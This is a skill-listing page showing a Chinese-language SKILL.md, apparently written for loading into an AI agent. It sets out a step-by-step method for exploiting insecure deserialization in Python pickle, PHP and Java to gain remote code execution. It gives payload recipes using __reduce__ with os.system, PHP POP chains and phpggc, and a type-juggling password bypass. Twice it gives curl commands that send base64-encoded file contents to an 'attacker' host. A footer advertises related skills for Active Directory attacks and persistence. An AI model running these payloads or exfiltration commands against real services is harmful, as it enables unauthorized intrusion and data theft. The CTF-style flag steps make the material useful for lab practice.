deserialization-methodology
$
npx mdskill add wgpsec/AboutSecurity/deserialization-methodologyExploit insecure deserialization to achieve remote code execution.
- Identify vulnerable inputs in cookies, parameters, and file uploads.
- Detect magic bytes in pickle, PHP, and Java serialized formats.
- Construct payloads using reference templates for blind or interactive attacks.
- Execute remote code by injecting malicious objects into vulnerable services.
SKILL.md
.github/skills/deserialization-methodologyView on GitHub ↗
---
name: deserialization-methodology
description: "不安全反序列化漏洞利用。当发现 Base64 编码的 Cookie/参数、Python pickle 数据、PHP serialized 字符串(O:4:...)、Java serialized 数据(rO0AB...)时使用。可直接获取 RCE"
metadata:
tags: "insecure_deserialization,deserialization,insecure deserialization,pickle,unserialize,php,java,rce"
category: "exploit"
---
# 反序列化漏洞方法论
## 深入参考
- Pickle payload 模板库(回显/盲/文件上传/发送方式)→ [references/pickle-payload-templates.md](references/pickle-payload-templates.md)
- RCE 成功但无回显?盲利用外带策略 → [references/blind-exploitation.md](references/blind-exploitation.md)
- PHP 反序列化详解(POP Chain/Type Juggling/phpggc) → [references/php-deserialization.md](references/php-deserialization.md)
- .NET 反序列化利用(ViewState/BinaryFormatter/ysoserial.net) → [references/dotnet-deserialization.md](references/dotnet-deserialization.md)
## Phase 1: 检测反序列化入口
常见位置:Cookie 值、POST Body、Hidden 表单字段(viewstate)、API 参数、文件上传
**格式标识(Magic Bytes)**:
| 格式 | 识别特征 | 下一步 |
|------|----------|--------|
| Python Pickle | Base64 解码后 `\x80` 开头或含 `cos\n`(魔术字节) | → Phase 2 |
| PHP | `O:4:"User":2:{` 或 `a:N:{` 格式 | → Phase 3 |
| Java | Base64 解码后 `\xac\xed\x00\x05`(Magic Bytes)或 Base64 `rO0AB` 开头 | Java 反序列化利用 |
1. 提取所有 Cookie 和隐藏字段的值,尝试 Base64 解码
2. 检查 `Content-Type` 头:`application/x-python-pickle`、`application/x-java-serialized-object`
3. 观察错误信息中是否包含 `pickle`、`unserialize`、`ObjectInputStream` 等关键字
4. 上传 `.pkl`、`.ser` 等序列化文件格式,观察服务端行为
5. 修改序列化数据中的字段值,观察响应变化确认服务端确实反序列化了输入
## Phase 2: Python Pickle RCE
⚠️ **关键约束**:`__reduce__` 只能返回 `(模块级函数, 参数元组)` — `self.method` 会失败
1. 构造基础 RCE payload:使用 `__reduce__` 方法调用 `os.system` 或 `subprocess.check_output`
2. 回显 payload:`subprocess.check_output(['cat', '/flag.txt'])` — 直接在响应中看到结果
3. 无回显 payload:`os.system('cp /flag.txt /app/static/f.txt')` — 写文件到 Web 可访问路径
4. 外带 payload:`os.system('curl http://attacker/?d=$(cat /flag|base64)')` — HTTP 外传数据
5. 序列化并编码:`base64.b64encode(pickle.dumps(payload))` 后替换原始数据发送
6. 注意 Python 版本差异:Python 2/3 的 pickle 协议版本不同,可能需要指定 `protocol=2`
常见触发点:Flask session、Redis session、`Content-Type: application/x-python-pickle`、`.pkl` 文件上传
决策树:回显 payload → 无回显则写文件到 Web 路径 → 仍失败则读盲利用参考
→ 完整模板 → 读 `references/pickle-payload-templates.md`
## Phase 3: PHP 反序列化
1. 识别序列化字符串格式:`O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}`
2. Type Juggling 速查:`b:1`(boolean true)松散比较 `==` 可绕过任意密码验证
3. 修改属性值:直接修改序列化字符串中的字段(注意长度前缀 `s:N:` 要匹配)
4. POP Chain 构造:找到可控属性的类(如 `__destruct` 中调用 `file_put_contents`),通过链式属性控制实现任意文件写入或命令执行
5. phpggc 工具:`phpggc <framework>/<gadget> <type> <arg>` 自动生成常见框架的利用链
6. 常见框架 gadget:Laravel(RCE)、Symfony(文件写入)、WordPress(对象注入)
→ 完整 POP Chain/Type Juggling/phpggc 用法 → 读 `references/php-deserialization.md`
## Phase 4: Flag 获取
1. 反序列化 RCE 成功后优先执行:`cat /flag.txt`、`cat /FLAG.txt`
2. 列目录搜索:`ls /` → `find / -name "*flag*" 2>/dev/null`
3. 环境变量:`env | grep -i flag`
4. 无回显时写到 Web 路径:`cp /flag* /app/static/flag.txt` 然后 HTTP 访问
5. DNS/HTTP 外带:`curl http://attacker/$(cat /flag|base64)`
6. 检查数据库:`cat /app/config*` 获取连接信息后查询 flag 表
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|